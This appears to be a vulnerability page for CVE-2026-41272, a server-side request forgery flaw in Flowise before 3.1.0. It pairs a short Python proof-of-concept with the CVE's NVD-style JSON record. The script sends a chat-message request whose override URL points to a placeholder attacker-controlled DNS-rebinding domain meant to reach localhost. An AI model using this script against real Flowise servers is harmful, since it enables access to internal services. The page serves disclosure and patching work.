CVE-2026-41272

import requests def exploit_ssrf(target_url): """ PoC for CVE-2026-41272: Flowise SSRF via DNS Rebinding This script demonstrates sending a request that attempts to bypass SSRF checks. """ # The vulnerable endpoint usually accepts a URL parameter url = f"{target_url}/api/v1/chat-message" # Example endpoint # Attacker controlled domain that supports DNS Rebinding # 1. Resolves to safe IP initially # 2. Rebinds to 127.0.0.1 upon second request malicious_domain = "http://attacker-controlled-dns-rebind.com" payload = { "question": "test", "overrideConfig": { "url": malicious_domain } } try: response = requests.post(url, json=payload) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": exploit_ssrf("http://localhost:3000")

{"cve": {"id": "CVE-2026-41272", "sourceIdentifier": "[email protected]", "published": "2026-04-23T20:16:15.810", "lastModified": "2026-04-24T16:37:31.410", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.0, the core security wrappers (secureAxiosRequest and secureFetch) intended to prevent Server-Side Request Forgery (SSRF) contain multiple logic flaws. These flaws allow attackers to bypass the allow/deny lists via DNS Rebinding (Time-of-Check Time-of-Use) or by exploiting the default configuration which fails to enforce any deny list. This vulnerability is fixed in 3.1.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.6, "impactScore": 5.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:flowiseai:flowise:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.1.0", "matchCriteriaId": "CB30DB8F-4F72-4FD3-90FB-8331F1CBB78E"}]}]}], "references": [{"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-2x8m-83vc-6wv4", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-2x8m-83vc-6wv4", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}